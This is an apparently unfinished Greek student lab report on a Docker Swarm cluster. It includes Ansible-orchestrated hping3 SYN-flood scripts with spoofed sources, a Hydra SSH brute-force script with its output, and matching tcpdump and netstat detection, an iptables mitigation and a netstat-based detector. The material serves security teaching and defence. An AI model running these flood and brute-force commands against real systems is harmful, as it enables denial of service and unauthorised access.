1. Περιγραφή και Προετοιμασία του Συστήματος

1.1. Προαπαιτούμενα

Για την υλοποίηση των ζητουμένων της εργασίας έγινε χρήση της πλατφόρμας του Docker καθώς και εγκατάσταση Σμήνους σύμφωνα με τις οδηγίες του εργαστηρίου.


1.2. Αρχιτεκτονική Συστήματος

Για τους σκοπούς των ερωτημάτων χρησιμοποιήσαμε ένα cluster αποτελούμενο από 5 οντότητες:

  • Ένας master κόμβος ο οποίος αποτελεί συντονιστής για το σμήνος όσον αφορά τις διάφορες λειτουργίες του. Επιπρόσθετα αναλαμβάνει την αυτοματοποιημένη - μαζική εγκατάσταση λογισμικών που θα χρησιμοποιηθούν από τα μέλη του σμήνους για την διεκπαιρέωση εργασιών

  • Τέσσερις worker κόμβοι οι οποίοι συμβάλουν στις ποικίλες διαδικασίες του συστήματος


1.3. Script Προετοιμασίας Συστήματος

Εφόσον θέσουμε σε λειτουργία το Σμήνος, συνδεόμαστε στον master και εκτελούμε το πρώτο μας script(prepare_system.sh).

prepare_system.sh
#!/bin/bash

# must run with sudo!!!
sysctl -w net.ipv4.tcp_syncookies=0

apt-get update
apt-get install ansible -y
apt-get install sshpass -y
sed '/\[defaults\]/a host_key_checking = False' /etc/ansible/ansible.cfg > temp && cat temp > /etc/ansible/ansible.cfg
rm temp

network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
echo "[workers]" > inventory
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory

master=$(ifconfig | grep 255.255.0.0 | awk '{print $2}')
echo -e "\n[all_hosts]" >> inventory
echo $master >> inventory
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory

Το εν λόγω script αναλαμβάνει να προετοιμάσει τον master κόμβο για τις διάφορες λειτουργίες που θα λάβουν χώρα στην σύνεχεια. Συγκεκριμένα:

  • Απενεργοποιεί το αντίμετρο net.ipv4.tcp_syncookies. Το αντίμετρο SYN cookie αντιμετωπίζει περιστατικά IP Spoofing καθώς έχει σκοπό την αποτροπή του γεμίσματος της ουράς συνδέσεων με αποτελέσμα καινούργιες συνδέσεις να μην γίνονται αποδεκτές. Η απενεργοποίηση του αντίμετρου είναι απαραίτητη καθώς ο master θα λειτουργήσει σαν θύμα του DDoS Attack

  • Ενημερώνει την λίστα πακέτων του συστήματος

  • Εγκαθιστεί το εργαλείο ansible

  • Εγκαθιστεί το εργαλείο sshpass

  • Παραμετροποιεί κατάλληλα το config αρχείο του προγράμματος ansible

  • Εισάγει στο αρχείο inventory(το οποίο θα χρησιμοιηθεί από το ansible) δύο κατηγορίες χρηστών. Η πρώτη κατηγορία απευθύνεται στους workers του Σμήνους ενώ η δεύτερη απευθύνεται σε όλους τους hosts


1.4. Αυτοματοποιημένες Διαδικασίες

Για την υλοποίηση μαζικών εγκαταστάσεων λογισμικού στα μέλη του σμήνους καθώς και ταυτόχρονη εκτέλεση προγραμμάτων έχουμε αναπτύξει το ακόλουθο script

execute_playbook.sh
#!/bin/bash

echo "Choose a playbook to execute"
echo "1. Transfer scripts to workers"
echo "2. Install hping3 on workers"
echo "3. Start DDoS Attack"
echo "4. Stop DDoS Attack"
echo "5. Configure ssh on workers"
echo "6. Install openvpn on all hosts"
echo "7. Connect every host to VPN"
echo -e "\nEnter your option: "
read answer

case $answer in

        1)
                ansible-playbook -i inventory myplaybooks/transfer_scripts.yml --ask-pass --ask-become-pass
                ;;

        2)
                ansible-playbook -i inventory myplaybooks/install_hping3.yml --ask-pass --ask-become-pass
                ;;

        3)
                ansible-playbook -i inventory myplaybooks/start_ddos_attack.yml --ask-pass --ask-become-pass
                ;;

        4)
                ansible-playbook -i inventory myplaybooks/stop_ddos_attack.yml --ask-pass --ask-become-pass
                ;;

        5)
                ansible-playbook -i inventory myplaybooks/configure_ssh.yml --ask-pass --ask-become-pass
                ;;

        6)
                ansible-playbook -i inventory myplaybooks/install_openvpn.yml --ask-pass --ask-become-pass
                ;;

        7)
                ansible-playbook -i inventory myplaybooks/connect_to_vpn.yml --ask-pass --ask-become-pass
                ;;

        *)
                echo "invalid option"
                ;;
esac

Τρέχοντας το script ο χρήστης μπορεί να επιλέξει την λειτουργία που τον ενδιαφέρει. Η επεξήγηση των ansible playbooks θα πραγματοποιηθεί στην συνέχεια.


1.5. Μεταφορά Scripts στους workers

Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 1 με αποτέλεσμα το ansible να εκτελέσει το playbook transfer_scripts.yml.

transfer_scripts.yml
---
- name: Transfer scripts to workers
  hosts: workers
  become: true
  become_user: root

  tasks:
  - name: Transferring script curl.sh
    copy: src=/project/worker_scripts/curl.sh dest=/home/docker mode=0777

  - name: Transferring script start_ddos.sh
    copy: src=/project/worker_scripts/start_ddos.sh dest=/home/docker mode=0777

  - name: Transferring script stop_ddos.sh
    copy: src=/project/worker_scripts/stop_ddos.sh dest=/home/docker mode=0777

  - name: Transferring script detect_ssh_brute_force.sh
    copy: src=/project/worker_scripts/detect_ssh_brute_force.sh dest=/home/docker mode=0777

  - name: Transferring script block_ssh_brute_force.sh
    copy: src=/project/worker_scripts/block_ssh_brute_force.sh dest=/home/docker mode=0777

  - name: Transferring script configure_ssh.sh
    copy: src=/project/worker_scripts/configure_ssh.sh dest=/home/docker mode=0777

  - name: Transferring script start_local_ssh_forwarding.sh
    copy: src=/project/worker_scripts/start_local_ssh_forwarding.sh dest=/home/docker mode=0777

Η επεξήγηση των λειτουργιών που εκτελεί κάθε script θα πραγματοποιηθεί στην συνέχεια.


2. DDoS Attack

2.1. Έναρξη Λειτουργίας HTTP Server

Εκτελούμε το script start_server.sh στον master κόμβο.

start_server.sh
#!/bin/bash

cd myserver
python -m SimpleHTTPServer 8000 &

Θέτουμε σε λειτουργία μία web υπηρεσία που εξυπηρετεί HTTP requests στην πόρτα 8000. Στον φάκελο myserver όπου εκκινούμε την υπηρεσία υπάρχει το αρχείο index.html


2.2. Παράδειγμα HTTP Request

Εκτελούμε το script curl.sh στον worker_1.

curl.sh
#!/bin/bash

network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
curl http://$target:8000

Βρίσκουμε δυναμικά την διεύθυνση IP του server και πραγματοποιούμε ένα HTTP request μέσω του εργαλείου curl. Ο server μας απαντάει με το αρχείο index.html.

<!DOCTYPE html>
<html>
<body>

<h1>*Beep boop* the server is up and running</h1>

</body>
</html>


2.3. Εγκατάσταση Εργαλείου hping3 στους workers

Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 2 με αποτέλεσμα το ansible να εκτελέσει το playbook install_hping3.yml.

install_hping3.yml
---
- name: Install hping3 on workers
  hosts: workers
  become: true
  become_user: root

  tasks:
  - name: Installing hping3
    apt:
      name: hping3
      state: present


2.4. Εκτέλεση DDoS Attack

Σε προηγούμενο βήμα μεταφέραμε ορισμένα scripts στους workers του Σμήνους. Ένα από αυτά είναι το start_ddos.sh

start_ddos.sh
#!/bin/bash

network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
nohup hping3 -S -p 8000 --rand-source --fast $target &

Το script start_ddos.sh βρίσκει δυναμικά την διεύθυνση του HTTP Server και εκτελεί DoS επίθεση μέσω του εργαλείου hping3. Ακολουθεί επεξήγηση των επιλογών της εντολής hping3:

  • nohup: Φροντίζει ώστε η διεργασία που δημιουργείται να τρέχει στο παρασκήνιο

  • -S: Τα πακέτα που θα σταλθούν θα έχουν το SYN bit ενεργοποιημένο

  • -p 8000: Η πόρτα προορισμού θα είναι η 8000

  • --rand-source: Κάθε πακέτα θα έχει τυχαία διεύθυνση IP αποστολέα

  • --fast: Τα πακέτα θα στέλνονται με γοργό ρυθμό

Η επίθεση επομένως αποτελεί ένα SYN Flooding Attack με αποτέλεσμα πολλές συνδέσεις να μένουν μισάνοιχτες καθώς δεν ολοκληρώνεται το TCP Three Way Handshake. Ο buffer συνδέσεων του Server γεμίζει και δεν δέχεται καινούργια αιτήματα. Επομένως επιτυγχάνεται Άρνηση Υπηρεσίας.

Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 3 με αποτέλεσμα το ansible να εκτελέσει το playbook start_ddos_attack.yml.

start_ddos_attack.yml
---
- name: Start DDoS
  hosts: workers
  become: true
  become_user: root

  tasks:
  - name: Starting DDoS Attack
    command: sh /home/docker/start_ddos.sh

Το playbook start_ddos_attack.yml εκτελεί ταυτόχρονα σε όλους τους workers το script start_ddos.sh με αποτέλεσμα την έναρξη DDoS Attack προς τον master(HTTP Server). Στη συνέχεια πραγματοποιούμε ένα HTTP request με την βοήθεια του script curl.sh και παρατηρούμε ότι ο Server δεν ανταποκρίνεται.


2.5. Ανίχνευση DDoS Attack

Μεταβαίνουμε στον master κόμβο και εκτελούμε την εντολή sudo tcpdump port 8000 ώστε να διαπιστώσουμε αν υφίσταται ασυνήθιστη δικτυακή κίνηση προς τον Server.

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
19:30:14.238511 IP 10.110.79.148.4697 > dd02ad277ce2.8000: Flags [S], seq 1908833461, win 512, length 0
19:30:14.238511 IP 112.148.52.179.d.dyn.claro.net.do.5525 > dd02ad277ce2.8000: Flags [S], seq 405413400, win 512, length 0
19:30:14.267454 IP 28.111.97.87.4697 > dd02ad277ce2.8000: Flags [S], seq 1908833461, win 512, length 0
19:30:14.303286 IP 50.239.103.26.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0
19:30:14.338585 IP 194.108.17.99.5526 > dd02ad277ce2.8000: Flags [S], seq 222808557, win 512, length 0
19:30:14.338585 IP adsl-67-127-134-126.dsl.sndg02.pacbell.net.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0
19:30:14.367571 IP 196.71.238.168.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0
19:30:14.403351 IP 243.154.130.32.4699 > dd02ad277ce2.8000: Flags [S], seq 615709092, win 512, length 0
19:30:14.903838 IP 12.62.142.196.4704 > dd02ad277ce2.8000: Flags [S], seq 698537545, win 512, length 0
19:30:16.169422 IP 100.113.234.104.4716 > dd02ad277ce2.8000: Flags [S], seq 1700667867, win 512, length 0
19:30:17.341758 IP 150.53.177.105.4728 > dd02ad277ce2.8000: Flags [S], seq 1989391975, win 512, length 0
19:30:18.743039 IP 159-138-102-121.flets.hi-ho.ne.jp.4742 > dd02ad277ce2.8000: Flags [S], seq 1799290936, win 512, length 0
19:30:19.009312 IP 231.159.196.181.4745 > dd02ad277ce2.8000: Flags [S], seq 1787026710, win 512, length 0

Παρατηρούμε ότι πραγματοποιούνται πολλές συνδέσεις σε μικρό χρονικό διάστημα. Κάθε σύνδεση έχει διαφορετική διεύθυνση αποστολέα και το SYN bit είναι ενεργοποιημένο. Επίσης καμία από τις συνδέσεις δεν φαίνεται να ολοκληρώνει το TCP Three Way Handshake επομένως συμπαιρένουμε ότι πρόκεται για μία SYN Flooding DDoS Attack.

Στην συνέχεια εκτελούμε την εντολή netstat -tn | grep 8000

tcp        0      0 172.19.0.2:8000         174.77.115.169:10162    SYN_RECV
tcp        0      0 172.19.0.2:8000         89.231.77.26:10134      SYN_RECV
tcp        0      0 172.19.0.2:8000         245.71.230.254:10182    SYN_RECV
tcp        0      0 172.19.0.2:8000         167.54.0.48:10146       SYN_RECV
tcp        0      0 172.19.0.2:8000         0.72.239.96:10203       SYN_RECV
tcp        0      0 172.19.0.2:8000         212.218.200.50:10345    SYN_RECV
tcp        0      0 172.19.0.2:8000         54.48.41.221:10325      SYN_RECV
tcp        0      0 172.19.0.2:8000         154.69.94.37:10290      SYN_RECV

Παρατηρούμε ότι έχουν πραγματοποιηθεί πολλές συνδέσεις στον HTPP Server ωστόσο σε καμία δεν έχει ολοκληρωθεί το TCP Three Way Handshake.


2.6. Αντιμετώπιση DDoS Attack

Για την εντιμετώπιση της επίθεσης συγκρίνουμε τα SYN πακέτα ανάμεσα σε ένα κανονικό HTTP request και σε ένα άιτημα που δημιουργήθηκε από το hping3.

16:55:22.111999 IP project_worker_4.project_net.33526 > 1e2f64f881f9.8000: Flags [S], seq 2437561719, win 64240, options [mss 1460,sackOK,TS val 1358362765 ecr 0,nop,wscale 7], length 0

16:37:29.718510 IP 224.8.186.98.2706 > 1e2f64f881f9.8000: Flags [S], seq 1460290212, win 512, length 0

Παρατηρούμε ότι τα πακέτα που στέλνονται μέσω του hping3 δεν θέτουν τιμή στο max segment size(mss) σε αντίθεση με τα κανονικά πακέτα που εκκινούν την σύνδεση. Επομένως μπορούμε να φιλτράρουμε την κίνηση με βάση αυτό το κριτήριο.

block_ddos.sh
#!/bin/bash

# must run with sudo!!!

sudo iptables -I INPUT -p tcp --dport 8000 --tcp-flags SYN SYN -m tcpmss ! --mss 0:65535 -j DROP

Το script block_ddos.sh εισάγει στην αλυσίδα INPUT τον παραπάνω κανόνα σύμφωνα με τον οποίο Αν:

  • Το πακέτο εισέρχεται στο σύστημα

  • Το πρωτόκολλο που χρησιμοποιείται στο επίπεδο μεταφοράς είναι το TCP

  • Η πόρτα προορισμού είναι η 8000

  • Το SYN bit είναι ενεργοποιημένο

  • Η τιμή του max segment size δεν ειναι απο 0 έως 65535(δηλαδή δεν έχει θέσει κάποιο mss)

  • Τότε το πακέτο απορρίπτεται

Εκτελούμε το script και στη συνέχεια πραγματοποιούμε ένα HTTP request με την βοήθεια του script curl.sh από τον worker_1. Παρατηρούμε ότι ο Server επιστρέφει το αρχείο index.html επομένως συμπεραίνουμε πως η επίθεση αντιμετωπίστηκε με επιτυχία.

Εκτελούμε την εντολή sudo iptables --list για την εμφάνιση του κανόνα που προστέθηκε μέσω του script

Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       tcp  --  anywhere             anywhere             tcp dpt:8000 flags:SYN/SYN tcpmss match !0:65535

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination


3. SSH Bruce Force Attack

3.1. Εγκατάσταση Εργαλείου THC-Hydra

Για την πραγματοποίηση της επίθεσης εγκαθιστούμε το εργαλείο HTC-Hydra στον master κόμβο με την εντολή sudo apt-get install hydra. Σε αυτό το σενάριο ο master θα αποτελέσει τον επιτιθέμενο ενώ το worker_1 θα αποτελέσει τον στόχο της επίθεσης.


3.2. Εκτέλεση SSH Bruce Force Attack

Έχουμε στην διάθεση μας το αρχείο password_list.txt το οποίο περιέχει τυχαίους κωδικούς. Στη συνέχεια εκτελούμε το script ssh_brute_force.sh.

ssh_brute_force.sh
#!/bin/bash

network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep worker_1 | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
hydra -l docker -P password_list.txt $target ssh

Το script ssh_brute_force.sh βρίσκει δυναμικά την IP διεύθυνση του worker_1 και εξαπολύει επίθεση προς αυτόν χρησιμοποιώντας το εργαλείο THC-Hydra με τις ακόλουθες επιλογές:

  • -l: Θεωρεί δεδομένο πως το όνομα χρήστη είναι "docker"

  • -P: Δοκιμάζει όλους τους κωδικούς που υπάρχουν στο αρχείο password_list.txt

Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-01-24 20:47:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking ssh://172.19.0.3:22/
[22][ssh] host: 172.19.0.3   login: docker   password: docker
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 5 final worker threads did not complete until end.
[ERROR] 5 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2021-01-24 20:47:59


3.3. Ανίχνευση SSH Bruce Force Attack

Για την ανίχνευση του SSH Bruce Force Attack έχει αναπτυχθεί το script detect_ssh_brute_force.sh

detect_ssh_brute_force.sh
#!/bin/bash

echo "Starting scan for SSH Brute Force Attacks"
while [ 1 ]
do
        count=$(netstat -tn | awk '{print $4}' | grep :22 | wc -l)
        if [ $count -gt 20 ]
        then
                attacker=$(netstat -tn | awk '{print $5}' | grep -v :22 | cut -d ':' -f1 | tail -1)
                echo "SSH Bruce Force Attack detected!!!"
                echo "$attacker made $count SSH connections at the same time"

                echo -e
                echo "Data collected:"
                netstat -tn
                break
        fi
        sleep 1
done

Το script detect_ssh_brute_force.sh ελέγχει επαννελημένα το αποτέλεσμα της εντολής netstat -tn και όταν ο αριθμός συνδέσεων στην πόρτα 22(δηλαδή στο SSH) είναι πάνω από 20 σταματάει την εκτέλεση του προγράμματος και εμφανίζει πληροφορίες σχετικά με την επίθεση.

Starting scan for SSH Brute Force Attacks
SSH Bruce Force Attack detected!!!
172.19.0.2 made 22 SSH connections at the same time

Data collected:
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 172.19.0.3:22           172.19.0.2:34536        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34476        TIME_WAIT
tcp        0      0 172.19.0.3:22           172.19.0.2:34532        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34500        TIME_WAIT
tcp        0      0 172.19.0.3:22           172.19.0.2:34454        TIME_WAIT
tcp        0      0 172.19.0.3:22           172.19.0.2:34510        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34508        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34518        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34516        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34506        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34502        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34474        TIME_WAIT
tcp        0      0 172.19.0.3:22           172.19.0.2:34524        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:51128        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34448        TIME_WAIT
tcp        0      0 172.19.0.3:22           172.19.0.2:34520        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34514        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34504        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34528        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34470        TIME_WAIT
tcp        0      0 172.19.0.3:22           172.19.0.2:34526        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34512        ESTABLISHED


3.4. Αντιμετώπιση SSH Bruce Force Attack


3.5. Τροποποίηση ssh-server στους workers


4. SSH Tunelling

todo


5. VPN

todo